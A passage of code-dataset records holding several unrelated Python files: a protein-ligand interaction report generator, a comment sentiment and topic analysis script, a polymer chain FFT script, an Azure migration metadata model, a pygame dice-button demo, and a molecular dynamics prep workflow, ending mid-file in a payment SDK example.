wbridge.dtype, wbridge.a_orig_idx, wbridge.atype,\n wbridge.water_orig_idx, lig.coords, prot.coords, wbridge.water.coords))\n\n ################\n # SALT BRIDGES #\n ################\n\n self.saltbridge_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'DIST', 'PROTISPOS', 'LIG_GROUP', 'LIG_IDX_LIST',\n 'LIGCOO', 'PROTCOO')\n self.saltbridge_info = []\n for sb in self.complex.saltbridge_lneg + self.complex.saltbridge_pneg:\n if sb.protispos:\n group, ids = sb.negative.fgroup, [str(x) for x in sb.negative.atoms_orig_idx]\n self.saltbridge_info.append((sb.resnr, sb.restype, sb.reschain, '%.2f' % sb.distance, sb.protispos,\n group.capitalize(), \",\".join(ids),\n tuple(sb.negative.center), tuple(sb.positive.center)))\n else:\n group, ids = sb.positive.fgroup, [str(x) for x in sb.positive.atoms_orig_idx]\n self.saltbridge_info.append((sb.resnr, sb.restype, sb.reschain, '%.2f' % sb.distance, sb.protispos,\n group.capitalize(), \",\".join(ids),\n tuple(sb.positive.center), tuple(sb.negative.center)))\n\n ###############\n # PI-STACKING #\n ###############\n\n self.pistacking_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'CENTDIST', 'ANGLE', 'OFFSET', 'TYPE',\n 'LIG_IDX_LIST', 'LIGCOO', 'PROTCOO')\n self.pistacking_info = []\n for stack in self.complex.pistacking:\n ids = [str(x) for x in stack.ligandring.atoms_orig_idx]\n self.pistacking_info.append((stack.resnr, stack.restype, stack.reschain, '%.2f' % stack.distance,\n '%.2f' % stack.angle, '%.2f' % stack.offset, stack.type, \",\".join(ids),\n tuple(stack.ligandring.center), tuple(stack.proteinring.center)))\n\n ##########################\n # PI-CATION INTERACTIONS #\n ##########################\n\n self.pication_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'DIST', 'OFFSET', 'PROTCHARGED', 'LIG_GROUP',\n 'LIG_IDX_LIST', 'LIGCOO', 'PROTCOO')\n self.pication_info = []\n for picat in self.complex.pication_laro + self.complex.pication_paro:\n if picat.protcharged:\n ids = [str(x) for x in picat.ring.atoms_orig_idx]\n group = 'Aromatic'\n self.pication_info.append((picat.resnr, picat.restype, picat.reschain, '%.2f' % picat.distance,\n '%.2f' % picat.offset, picat.protcharged, group, \",\".join(ids),\n tuple(picat.ring.center), tuple(picat.charge.center)))\n else:\n ids = [str(x) for x in picat.charge.atoms_orig_idx]\n group = picat.charge.fgroup\n self.pication_info.append((picat.resnr, picat.restype, picat.reschain, '%.2f' % picat.distance,\n '%.2f' % picat.offset, picat.protcharged, group, \",\".join(ids),\n tuple(picat.charge.center), tuple(picat.ring.center)))\n\n #################\n # HALOGEN BONDS #\n #################\n\n self.halogen_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'SIDECHAIN', 'DIST', 'DON_ANGLE', 'ACC_ANGLE',\n 'DON_IDX', 'DONORTYPE', 'ACC_IDX', 'ACCEPTORTYPE', 'LIGCOO', 'PROTCOO')\n self.halogen_info = []\n for halogen in self.complex.halogen_bonds:\n self.halogen_info.append((halogen.resnr, halogen.restype, halogen.reschain, halogen.sidechain,\n '%.2f' % halogen.distance, '%.2f' % halogen.don_angle, '%.2f' % halogen.acc_angle,\n halogen.don_orig_idx, halogen.donortype,\n halogen.acc_orig_idx, halogen.acctype,\n halogen.acc.o.coords, halogen.don.x.coords))\n\n ###################\n # METAL COMPLEXES #\n ###################\n\n self.metal_features = ('RESNR', 'RESTYPE', 'RESCHAIN', 'METAL_IDX', 'METAL_TYPE', 'TARGET_IDX', 'TARGET_TYPE',\n 'COORDINATION', 'DIST', 'LOCATION', 'RMS', 'GEOMETRY', 'COMPLEXNUM', 'METALCOO',\n 'TARGETCOO')\n self.metal_info = []\n # Coordinate format here is non-standard since the interaction partner can be either ligand or protein\n for m in self.complex.metal_complexes:\n self.metal_info.append((m.resnr, m.restype, m.reschain, m.metal_orig_idx, m.metal_type,\n m.target_orig_idx, m.target_type, m.coordination_num, '%.2f' % m.distance,\n m.location, '%.2f' % m.rms, m.geometry, str(m.complexnum), m.metal.coords,\n m.target.atom.coords))\n\n def write_section(self, name, features, info, f):\n \"\"\"Provides formatting for one section (e.g. hydrogen bonds)\"\"\"\n if not len(info) == 0:\n f.write('\\n\\n### %s ###\\n' % name)\n f.write('%s\\n' % '\\t'.join(features))\n for line in info:\n f.write('%s\\n' % '\\t'.join(map(str, line)))\n\n def rst_table(self, array):\n \"\"\"Given an array, the function formats and returns and table in rST format.\"\"\"\n # Determine cell width for each column\n cell_dict = {}\n for i, row in enumerate(array):\n for j, val in enumerate(row):\n if j not in cell_dict:\n cell_dict[j] = []\n cell_dict[j].append(val)\n for item in cell_dict:\n cell_dict[item] = max([len(x) for x in cell_dict[item]]) + 1 # Contains adapted width for each column\n\n # Format top line\n num_cols = len(array[0])\n form = '+'\n for col in range(num_cols):\n form += (cell_dict[col] + 1) * '-'\n form += '+'\n form += '\\n'\n\n # Format values\n for i, row in enumerate(array):\n form += '| '\n for j, val in enumerate(row):\n cell_width = cell_dict[j]\n form += str(val) + (cell_width - len(val)) * ' ' + '| '\n form.rstrip()\n form += '\\n'\n\n # Seperation lines\n form += '+'\n if i == 0:\n sign = '='\n else:\n sign = '-'\n for col in range(num_cols):\n form += (cell_dict[col] + 1) * sign\n form += '+'\n form += '\\n'\n return form\n\n def generate_txt(self):\n \"\"\"Generates an flat text report for a single binding site\"\"\"\n\n txt = []\n titletext = '%s (%s) - %s' % (self.bsid, self.longname, self.ligtype)\n txt.append(titletext)\n for i, member in enumerate(self.lig_members[1:]):\n txt.append(' + %s' % \":\".join(str(element) for element in member))\n txt.append(\"-\" * len(titletext))\n txt.append(\"Interacting chain(s): %s\\n\" % ','.join([chain for chain in self.interacting_chains]))\n for section in [['Hydrophobic Interactions', self.hydrophobic_features, self.hydrophobic_info],\n ['Hydrogen Bonds', self.hbond_features, self.hbond_info],\n ['Water Bridges', self.waterbridge_features, self.waterbridge_info],\n ['Salt Bridges', self.saltbridge_features, self.saltbridge_info],\n ['pi-Stacking', self.pistacking_features, self.pistacking_info],\n ['pi-Cation Interactions', self.pication_features, self.pication_info],\n ['Halogen Bonds', self.halogen_features, self.halogen_info],\n ['Metal Complexes', self.metal_features, self.metal_info]]:\n iname, features, interaction_information = section\n # Sort results first by res number, then by distance and finally ligand coordinates to get a unique order\n interaction_information = sorted(interaction_information, key=itemgetter(0, 2, -2))\n if not len(interaction_information) == 0:\n\n txt.append('\\n**%s**' % iname)\n table = [features, ]\n for single_contact in interaction_information:\n values = []\n for x in single_contact:\n if type(x) == str:\n values.append(x)\n elif type(x) == tuple and len(x) == 3: # Coordinates\n values.append(\"%.3f, %.3f, %.3f\" % x)\n else:\n values.append(str(x))\n table.append(values)\n txt.append(self.rst_table(table))\n txt.append('\\n')\n return txt\n\n def generate_xml(self):\n \"\"\"Generates an XML-formatted report for a single binding site\"\"\"\n report = et.Element('bindingsite')\n identifiers = et.SubElement(report, 'identifiers')\n longname = et.SubElement(identifiers, 'longname')\n ligtype = et.SubElement(identifiers, 'ligtype')\n hetid = et.SubElement(identifiers, 'hetid')\n chain = et.SubElement(identifiers, 'chain')\n position = et.SubElement(identifiers, 'position')\n composite = et.SubElement(identifiers, 'composite')\n members = et.SubElement(identifiers, 'members')\n smiles = et.SubElement(identifiers, 'smiles')\n\n # Ligand properties. Number of (unpaired) functional atoms and rings.\n lig_properties = et.SubElement(report, 'lig_properties')\n num_heavy_atoms = et.SubElement(lig_properties, 'num_heavy_atoms')\n num_hbd = et.SubElement(lig_properties, 'num_hbd')\n num_hbd.text = str(self.ligand.num_hbd)\n num_unpaired_hbd = et.SubElement(lig_properties, 'num_unpaired_hbd')\n num_unpaired_hbd.text = str(self.complex.num_unpaired_hbd)\n num_hba = et.SubElement(lig_properties, 'num_hba')\n num_hba.text = str(self.ligand.num_hba)\n num_unpaired_hba = et.SubElement(lig_properties, 'num_unpaired_hba')\n num_unpaired_hba.text = str(self.complex.num_unpaired_hba)\n num_hal = et.SubElement(lig_properties, 'num_hal')\n num_hal.text = str(self.ligand.num_hal)\n num_unpaired_hal = et.SubElement(lig_properties, 'num_unpaired_hal')\n num_unpaired_hal.text = str(self.complex.num_unpaired_hal)\n num_aromatic_rings = et.SubElement(lig_properties, 'num_aromatic_rings')\n num_aromatic_rings.text = str(self.ligand.num_rings)\n num_rot_bonds = et.SubElement(lig_properties, 'num_rotatable_bonds')\n num_rot_bonds.text = str(self.ligand.num_rot_bonds)\n molweight = et.SubElement(lig_properties, 'molweight')\n molweight.text = str(self.ligand.molweight)\n logp = et.SubElement(lig_properties, 'logp')\n logp.text = str(self.ligand.logp)\n\n ichains = et.SubElement(report, 'interacting_chains')\n bsresidues = et.SubElement(report, 'bs_residues')\n for i, ichain in enumerate(self.interacting_chains):\n c = et.SubElement(ichains, 'interacting_chain', id=str(i + 1))\n c.text = ichain\n for i, bsres in enumerate(self.bs_res):\n contact = 'True' if bsres in self.bs_res_interacting else 'False'\n distance = '%.1f' % self.min_dist[bsres][0]\n aatype = self.min_dist[bsres][1]\n c = et.SubElement(bsresidues, 'bs_residue', id=str(i + 1), contact=contact, min_dist=distance, aa=aatype)\n c.text = bsres\n hetid.text, chain.text, position.text = self.ligand.hetid, self.ligand.chain, str(self.ligand.position)\n composite.text = 'True' if len(self.lig_members) > 1 else 'False'\n longname.text = self.longname\n ligtype.text = self.ligtype\n smiles.text = self.ligand.smiles\n num_heavy_atoms.text = str(self.ligand.heavy_atoms) # Number of heavy atoms in ligand\n for i, member in enumerate(self.lig_members):\n bsid = \":\".join(str(element) for element in member)\n m = et.SubElement(members, 'member', id=str(i + 1))\n m.text = bsid\n interactions = et.SubElement(report, 'interactions')\n\n def format_interactions(element_name, features, interaction_information):\n \"\"\"Returns a formatted element with interaction information.\"\"\"\n interaction = et.Element(element_name)\n # Sort results first by res number, then by distance and finally ligand coordinates to get a unique order\n interaction_information = sorted(interaction_information, key=itemgetter(0, 2, -2))\n for j, single_contact in enumerate(interaction_information):\n if not element_name == 'metal_complexes':\n new_contact = et.SubElement(interaction, element_name[:-1], id=str(j + 1))\n else: # Metal Complex[es]\n new_contact = et.SubElement(interaction, element_name[:-2], id=str(j + 1))\n for i, feature in enumerate(single_contact):\n # Just assign the value unless it's an atom list, use subelements in this case\n if features[i] == 'LIG_IDX_LIST':\n feat = et.SubElement(new_contact, features[i].lower())\n for k, atm_idx in enumerate(feature.split(',')):\n idx = et.SubElement(feat, 'idx', id=str(k + 1))\n idx.text = str(atm_idx)\n elif features[i].endswith('COO'):\n feat = et.SubElement(new_contact, features[i].lower())\n xc, yc, zc = feature\n xcoo = et.SubElement(feat, 'x')\n xcoo.text = '%.3f' % xc\n ycoo = et.SubElement(feat, 'y')\n ycoo.text = '%.3f' % yc\n zcoo = et.SubElement(feat, 'z')\n zcoo.text = '%.3f' % zc\n else:\n feat = et.SubElement(new_contact, features[i].lower())\n feat.text = str(feature)\n return interaction\n\n interactions.append(format_interactions('hydrophobic_interactions', self.hydrophobic_features,\n self.hydrophobic_info))\n interactions.append(format_interactions('hydrogen_bonds', self.hbond_features, self.hbond_info))\n interactions.append(format_interactions('water_bridges', self.waterbridge_features, self.waterbridge_info))\n interactions.append(format_interactions('salt_bridges', self.saltbridge_features, self.saltbridge_info))\n interactions.append(format_interactions('pi_stacks', self.pistacking_features, self.pistacking_info))\n interactions.append(format_interactions('pi_cation_interactions', self.pication_features, self.pication_info))\n interactions.append(format_interactions('halogen_bonds', self.halogen_features, self.halogen_info))\n interactions.append(format_interactions('metal_complexes', self.metal_features, self.metal_info))\n\n # Mappings\n mappings = et.SubElement(report, 'mappings')\n smiles_to_pdb = et.SubElement(mappings, 'smiles_to_pdb') # SMILES numbering to PDB file numbering (atoms)\n bsid = ':'.join([self.ligand.hetid, self.ligand.chain, str(self.ligand.position)])\n if self.ligand.atomorder is not None:\n smiles_to_pdb_map = [(key, self.ligand.Mapper.mapid(self.ligand.can_to_pdb[key], mtype='protein', bsid=bsid)) for key in self.ligand.can_to_pdb]\n smiles_to_pdb.text = ','.join([str(mapping[0])+':'+str(mapping[1]) for mapping in smiles_to_pdb_map])\n else:\n smiles_to_pdb.text = ''\n\n return report\n","sub_path":"plip/modules/report.py","file_name":"report.py","file_ext":"py","file_size_in_byte":20506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"525156518","text":"import os\nimport pandas as pd\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.decomposition import LatentDirichletAllocation\nimport nltk\nimport json\nfrom matplotlib import pyplot as plt\nnltk.download('vader_lexicon')\n\n# Create directory to output results to\nresults_path = os.path.join(\".\", \"results\")\nif not os.path.exists(results_path):\n os.mkdir(results_path)\n\n# Iterate through all posts of all pages (datasets) that have been downloaded, saving the downloaded posts to a dict\ndata_path = os.path.join(\".\", \"data\")\nall_data = {}\n# Iterate through pages\nfor dataset in os.listdir(data_path):\n all_data[dataset] = []\n # Iterate through posts\n dataset_data_dir = os.path.join(data_path, dataset)\n for file in os.listdir(dataset_data_dir):\n post_data_dir = os.path.join(dataset_data_dir, file)\n\n # Do not look at post_links\n if not os.path.isfile(post_data_dir) or \"post_links\" in file:\n continue\n\n file_path = os.path.join(data_path, dataset, file)\n with open(file_path, \"rb\") as f:\n data = json.load(f)\n\n all_data[dataset].append(data)\n\n# We get a simple list of comments for each page\nper_dataset_text = {}\nfor dataset_name, all_dataset_posts in all_data.items():\n per_dataset_text[dataset_name] = []\n for post in all_dataset_posts:\n for comment in post[\"comment_data\"]:\n # We want to leave out all comments written by the page themselves\n if comment[\"commenter_name\"] == post[\"page_name\"]:\n continue\n\n per_dataset_text[dataset_name].append(comment)\n\n for reply in comment[\"replies\"]:\n per_dataset_text[dataset_name].append(reply)\n\n# We find the sentiment for each individual post\ndef get_sentiment_df(list_of_comments):\n\n list_of_comments = [x for x in list_of_comments if x[\"comment_text\"] is not None]\n\n sid = SentimentIntensityAnalyzer()\n sentences = [x[\"comment_text\"] for x in list_of_comments]\n sentiments = [sid.polarity_scores(sentence)[\"compound\"] for sentence in sentences]\n\n df = pd.DataFrame(list_of_comments)\n df[\"sentiment\"] = sentiments\n df[\"text\"] = df.comment_text\n\n return df\n\ndef get_top_k_words_from_n_topics(df, k, n):\n # Make list of comments into BOW\n vectorizer = CountVectorizer()\n bow_embed = vectorizer.fit_transform(df.text.str.lower())\n\n # Do LDA over BOW\n lda = LatentDirichletAllocation(n_components=n, max_iter=10, learning_method='online', learning_offset=50., random_state=111)\n embeddings = lda.fit_transform(bow_embed)\n reversed_vocab = {v:k for k,v in vectorizer.vocabulary_.items()}\n\n topic_word_lists = []\n\n for i, component in enumerate(lda.components_ / lda.components_.sum(axis=1)[:, np.newaxis]):\n topic_word_list = []\n\n idx_of_highest_vals = component.argsort()[-k:][::-1]\n\n for idx in idx_of_highest_vals:\n topic_word_list.append(reversed_vocab[idx])\n\n topic_word_lists.append({f\"Topic {i} words\": topic_word_list})\n\n return pd.DataFrame(topic_word_lists)\n\ndataset_dfs = {}\nfor dataset_name, comment_list in per_dataset_text.items():\n sent_df = get_sentiment_df(comment_list)\n # Save the sentiment of each comment\n sent_df.to_csv(os.path.join(results_path, f\"{dataset_name}_full_sent_df.csv\"))\n\n print(f\"{dataset_name} average sentiment {sent_df.sentiment.mean()}\")\n # We plot the sentiment as a histogram\n sent_df.sentiment.plot.hist(density=True, bins=50, alpha=0.5)\n\n # We save the top and bottom k comments in terms of sentiment\n top_k_comments = 20\n sent_df.sort_values(\"sentiment\", ascending=False).iloc[:top_k_comments].to_csv(os.path.join(results_path, f\"{dataset_name}_top_{top_k_comments}_comments.csv\"))\n sent_df.sort_values(\"sentiment\", ascending=True).iloc[:top_k_comments].to_csv(os.path.join(results_path, f\"{dataset_name}_bottom_{top_k_comments}_comments.csv\"))\n\n # Get the top K most common commenters\n top_k_commenters = 20\n sent_df[\"commenter_name\"].value_counts()[:top_k_commenters].to_csv(os.path.join(results_path, f\"{dataset_name}_top_{top_k_commenters}_commenters.csv\"))\n\n # Do LDA on text list\n topic_word_df = get_top_k_words_from_n_topics(sent_df, k=5, n=10)\n topic_word_df.to_csv(os.path.join(results_path, f\"{dataset_name}_characteristic_topic_words.csv\"))\n\n dataset_dfs[dataset_name] = sent_df\n\n# Save the plots of all pages overlaid against one another\nplt.savefig(os.path.join(results_path, \"sentiments.png\"))\n\ndone_first_datasets = []\n\n# Compare each pair of pages, to see the most stereotypical words when comparing them.\nfor dataset_name_1, sent_df_1 in dataset_dfs.items():\n done_first_datasets.append(dataset_name_1)\n\n for dataset_name_2, sent_df_2 in dataset_dfs.items():\n if dataset_name_2 not in done_first_datasets:\n words_1 = sent_df_1.text.apply(lambda x: nltk.word_tokenize(x.lower())).apply(pd.Series).stack().reset_index(drop=True)\n words_2 = sent_df_2.text.apply(lambda x: nltk.word_tokenize(x.lower())).apply(pd.Series).stack().reset_index(drop=True)\n\n vc_1 = words_1.value_counts()\n vc_2 = words_2.value_counts()\n\n # Find the top k words for each page\n top_k_words = 500\n vc_1 = vc_1[:top_k_words]\n vc_2 = vc_2[:top_k_words]\n\n # Combine the top k words from each page to get a union list of top words\n all_words = vc_1.index.append(vc_2.index).unique()\n\n # Get the rank of each word in each dataset (E.g. rank 1 is the most common word on a page, 2 is 2nd most common)\n indices_1 = [vc_1.index.get_loc(i) if i in vc_1.index else len(vc_1.index) for i in all_words]\n indices_2 = [vc_2.index.get_loc(i) if i in vc_2.index else len(vc_2.index) for i in all_words]\n\n # Find the difference in rank for each word. Large positive numbers mean that this word is used much more in dataset 1 than 2 and vice versa.\n differences = pd.Series({word: wi - gi for word, wi, gi in zip(all_words, indices_1, indices_2)}).sort_values()\n\n # Output these differences to disc\n differences.to_csv(os.path.join(results_path, f\"{dataset_name_1}_vs_{dataset_name_2}_most_popular_{top_k_words}_words.csv\"))\n","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":6374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"220768940","text":"import lammpscell as lc\nc = lc.c_cell(); c.parse_data(r'd:\\Work\\Polymer\\POLYETHYLENE\\tobias\\100C\\tob-imc100-vib_475.all.upd.data')\nzsize = c.zhi-c.zlo\n\ndef skw(x, z, zsize):\n Nfft = 10000\n quant = zsize / Nfft\n xpri = zeros(Nfft)\n N = len(z)\n x_ = zeros(N+1); z_ = zeros(N+1)\n x_[:N] = x; z_[:N] = z\n x_[-1] = x[0]; z_[-1] = z[0] + zsize\n for i in range(N):\n j0 = int(z_[i] / zsize * Nfft)\n j1 = int((z_[i] / zsize * Nfft) % Nfft)\n j2 = int(z_[i + 1] / zsize * Nfft) + j1 - j0\n for j in range(j1+1, j2+1):\n xpri[j % Nfft] = x_[i] + (j - j1) * quant * (x_[i + 1] - x_[i]) / (z_[i + 1] - z_[i])\n ximg = rfft(xpri)\n ximg[13:] = 0.\n xsec = irfft(ximg)\n return xsec\n\ny1 = array([c.atoms[i].y for i in range((1-1)*300, 1*300, 3)]); z1 = array([c.atoms[i].z for i in range((1-1)*300, 1*300, 3)])\ny3 = array([c.atoms[i].y for i in range((3-1)*300, 3*300, 3)]); z3 = array([c.atoms[i].z for i in range((3-1)*300, 3*300, 3)])\ny5 = array([c.atoms[i].y for i in range((5-1)*300, 5*300, 3)]); z5 = array([c.atoms[i].z for i in range((5-1)*300, 5*300, 3)])\n\ny1skw = skw(y1, z1, c.zhi-c.zlo)\ny3skw = skw(y3, z3, c.zhi-c.zlo)\ny5skw = skw(y5, z5, c.zhi-c.zlo)\n","sub_path":"dftskewer.py","file_name":"dftskewer.py","file_ext":"py","file_size_in_byte":1218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"75212130","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass DataMigrationProjectMetadata(Model):\n \"\"\"Common metadata for migration projects.\n\n Variables are only populated by the server, and will be ignored when\n sending a request.\n\n :ivar source_server_name: Source server name\n :vartype source_server_name: str\n :ivar source_server_port: Source server port number\n :vartype source_server_port: str\n :ivar source_username: Source username\n :vartype source_username: str\n :ivar target_server_name: Target server name\n :vartype target_server_name: str\n :ivar target_username: Target username\n :vartype target_username: str\n :ivar target_db_name: Target database name\n :vartype target_db_name: str\n :ivar target_using_win_auth: Whether target connection is Windows\n authentication\n :vartype target_using_win_auth: bool\n :ivar selected_migration_tables: List of tables selected for migration\n :vartype selected_migration_tables:\n list[~azure.mgmt.datamigration.models.MigrationTableMetadata]\n \"\"\"\n\n _validation = {\n 'source_server_name': {'readonly': True},\n 'source_server_port': {'readonly': True},\n 'source_username': {'readonly': True},\n 'target_server_name': {'readonly': True},\n 'target_username': {'readonly': True},\n 'target_db_name': {'readonly': True},\n 'target_using_win_auth': {'readonly': True},\n 'selected_migration_tables': {'readonly': True},\n }\n\n _attribute_map = {\n 'source_server_name': {'key': 'sourceServerName', 'type': 'str'},\n 'source_server_port': {'key': 'sourceServerPort', 'type': 'str'},\n 'source_username': {'key': 'sourceUsername', 'type': 'str'},\n 'target_server_name': {'key': 'targetServerName', 'type': 'str'},\n 'target_username': {'key': 'targetUsername', 'type': 'str'},\n 'target_db_name': {'key': 'targetDbName', 'type': 'str'},\n 'target_using_win_auth': {'key': 'targetUsingWinAuth', 'type': 'bool'},\n 'selected_migration_tables': {'key': 'selectedMigrationTables', 'type': '[MigrationTableMetadata]'},\n }\n\n def __init__(self, **kwargs):\n super(DataMigrationProjectMetadata, self).__init__(**kwargs)\n self.source_server_name = None\n self.source_server_port = None\n self.source_username = None\n self.target_server_name = None\n self.target_username = None\n self.target_db_name = None\n self.target_using_win_auth = None\n self.selected_migration_tables = None\n","sub_path":"src/dms-preview/azext_dms/vendored_sdks/datamigration/models/data_migration_project_metadata.py","file_name":"data_migration_project_metadata.py","file_ext":"py","file_size_in_byte":3011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"284787460","text":"import pygame\r\nimport sys\r\nimport random\r\n\r\nwidth, height = 600,480\r\n\r\nscreen = pygame.display.set_mode((width,height))\r\n\r\nclass Button:\r\n def __init__(self, x, y):\r\n # self.x = x\r\n # self.y = y\r\n self.img = pygame.image.load(\"buttons/tesla.png\")\r\n self.rect = self.img.get_rect()\r\n self.rect.x, self.rect.y = x, y\r\n self.message = f\"{x},{y}\"\r\n \r\n def has_mouse(self):\r\n \"\"\"Return True if mouse is in button and False otherwise\"\"\"\r\n if self.rect.collidepoint(pygame.mouse.get_pos()):\r\n return True\r\n return False\r\n \r\n def roll_die(self):\r\n return random.randint(0,6)\r\n\r\nbuttons = []\r\nfor x in range(4):\r\n buttons.append(Button(x * 110 + 20, 20))\r\n\r\ndice_values = [0,0,0]\r\nwhile True:\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n sys.exit()\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n for i in range(0, len(buttons)-1):\r\n if buttons[i].has_mouse():\r\n dice_values[i] = buttons[i].roll_die()\r\n\r\n for b in buttons:\r\n screen.blit(b.img, b.rect)\r\n\r\n print(dice_values)\r\n\r\n pygame.display.flip()","sub_path":"examples/buttons/dice buttons.py","file_name":"dice buttons.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"91783903","text":"#!/usr/bin/env python\n\n# (C) 2020 OpenEye Scientific Software Inc. All rights reserved.\n#\n# TERMS FOR USE OF SAMPLE CODE The software below (\"Sample Code\") is\n# provided to current licensees or subscribers of OpenEye products or\n# SaaS offerings (each a \"Customer\").\n# Customer is hereby permitted to use, copy, and modify the Sample Code,\n# subject to these terms. OpenEye claims no rights to Customer's\n# modifications. Modification of Sample Code is at Customer's sole and\n# exclusive risk. Sample Code may require Customer to have a then\n# current license or subscription to the applicable OpenEye offering.\n# THE SAMPLE CODE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n# EXPRESS OR IMPLIED. OPENEYE DISCLAIMS ALL WARRANTIES, INCLUDING, BUT\n# NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n# PARTICULAR PURPOSE AND NONINFRINGEMENT. In no event shall OpenEye be\n# liable for any damages or liability in connection with the Sample Code\n# or its use.\n\nfrom floe.api import (WorkFloe,\n ParallelCubeGroup)\n\nfrom orionplatform.cubes import DatasetReaderCube, DatasetWriterCube\n\nfrom MDOrion.System.cubes import MDComponentCube\n\nfrom MDOrion.ComplexPrep.cubes import ComplexPrepCube\n\nfrom MDOrion.System.cubes import ParallelSolvationCube\n\nfrom MDOrion.ForceField.cubes import ParallelForceFieldCube\n\nfrom MDOrion.LigPrep.cubes import (ParallelLigandChargeCube,\n LigandSetting)\n\nfrom MDOrion.System.cubes import (IDSettingCube,\n CollectionSetting,\n ParallelRecordSizeCheck)\n\njob = WorkFloe('Complex prep for Short Trajectory MD',\n title='Complex prep for Short Trajectory MD')\n\njob.description = \"\"\"\nThe prep steps for the Short Trajectory MD (STMD) protocol based on\na prepared protein and a set of posed and prepared ligands as input.\nThe ligands need to have coordinates, all atoms, and correct chemistry. Each\nligand can have multiple conformers but each conformer will be run separately\nas a different ligand.\nThe protein needs to be prepared to MD standards: protein chains must be capped,\nall atoms in protein residues (including hydrogens) must be present, and missing\nprotein loops resolved. Crystallographic internal waters should be retained where\npossible. The parametrization of some common nonstandard residues is partially supported.\nGiven the inputs of the protein and posed ligands,\nthe complex is formed with each ligand/conformer\nseparately, and the complex is solvated and parametrized according to the\nselected force fields.\n\nRequired Input Parameters:\n--------------------------\nligands (file): dataset of prepared ligands posed in the protein active site.\nprotein (file): dataset of the prepared protein structure.\n\nOutputs:\n--------\nout (.oedb file): file of the solvated complexes with parameters.\n\"\"\"\n# Locally the floe can be invoked by running the terminal command:\n# python floes/ShortTrajMD.py --ligands ligands.oeb --protein protein.oeb --out prod.oeb\n\njob.classification = [['Molecular Dynamics']]\n# job.uuid = \"372e1890-d053-4027-970a-85b209e4676f\"\njob.tags = [tag for lists in job.classification for tag in lists]\n\n# Ligand setting\niligs = DatasetReaderCube(\"LigandReader\", title=\"Ligand Reader\")\niligs.promote_parameter(\"data_in\", promoted_name=\"ligands\", title=\"Ligand Input Dataset\", description=\"Ligand Dataset\")\n\nligset = LigandSetting(\"LigandSetting\", title=\"Ligand Setting\")\nligset.promote_parameter('max_md_runs', promoted_name='max_md_runs',\n default=500,\n description='The maximum allowed number of md runs')\nligset.set_parameters(lig_res_name='LIG')\n\nchargelig = ParallelLigandChargeCube(\"LigCharge\", title=\"Ligand Charge\")\nchargelig.promote_parameter('charge_ligands', promoted_name='charge_ligands',\n description=\"Charge the ligand or not\", default=True)\n\nligid = IDSettingCube(\"Ligand Ids\")\n\n# Protein Reading cube. The protein prefix parameter is used to select a name for the\n# output system files\niprot = DatasetReaderCube(\"ProteinReader\", title=\"Protein Reader\")\niprot.promote_parameter(\"data_in\", promoted_name=\"protein\", title='Protein Input Dataset',\n description=\"Protein Dataset\")\n\ncomplx = ComplexPrepCube(\"Complex\")\n\n# The solvation cube is used to solvate the system and define the ionic strength of the solution\nsolvate = ParallelSolvationCube(\"Solvation\", title=\"Solvation\")\nsolvate.set_parameters(density=1.03)\nsolvate.set_parameters(salt_concentration=50.0)\n# solvate.set_parameters(close_solvent=True)\nsolvate.modify_parameter(solvate.close_solvent, promoted=False, default=False)\n\n# Force Field Application\nff = ParallelForceFieldCube(\"ForceField\", title=\"Apply Force Field\")\nff.promote_parameter('protein_forcefield', promoted_name='protein_ff', default='Amber99SBildn')\nff.promote_parameter('ligand_forcefield', promoted_name='ligand_ff', default='Gaff2')\n\nmdcomp = MDComponentCube(\"MDComponentSetting\", title=\"MDComponentSetting\")\n# mdcomp.promote_parameter(\"flask_title\", promoted_name=\"flask_title\", default='MCL1')\n\nofs = DatasetWriterCube('ofs', title='MD Out')\nofs.promote_parameter(\"data_out\", promoted_name=\"out\",\n title=\"MD Out\", description=\"MD Dataset out\")\n\nfail = DatasetWriterCube('fail', title='Failures')\nfail.promote_parameter(\"data_out\", promoted_name=\"fail\", title=\"Failures\",\n description=\"MD Dataset Failures out\")\n\njob.add_cubes(iligs, chargelig, ligset, ligid,\n iprot, mdcomp, complx, solvate, ff, ofs, fail)\n\niligs.success.connect(ligset.intake)\nligset.success.connect(chargelig.intake)\nchargelig.success.connect(ligid.intake)\nligid.success.connect(complx.intake)\niprot.success.connect(mdcomp.intake)\nmdcomp.success.connect(complx.protein_port)\ncomplx.success.connect(solvate.intake)\nsolvate.success.connect(ff.intake)\nff.success.connect(ofs.intake)\nff.failure.connect(fail.intake)\n\nif __name__ == \"__main__\":\n job.run()\n\n","sub_path":"floes_dev/Complex_prep.py","file_name":"Complex_prep.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"382343546","text":"from __future__ import print_function\nimport time\nimport authorizenet_rest\nfrom authorizenet_rest.rest import ApiException\n\nfrom authorizenet_rest.apis.invoices_api import InvoicesApi\nfrom pprint import pprint\nimport warnings\nimport os\nimport sys\n# QA modification\nimport csv\n# QA modification\n# import imp\n# constants = imp.load_source('modulename', 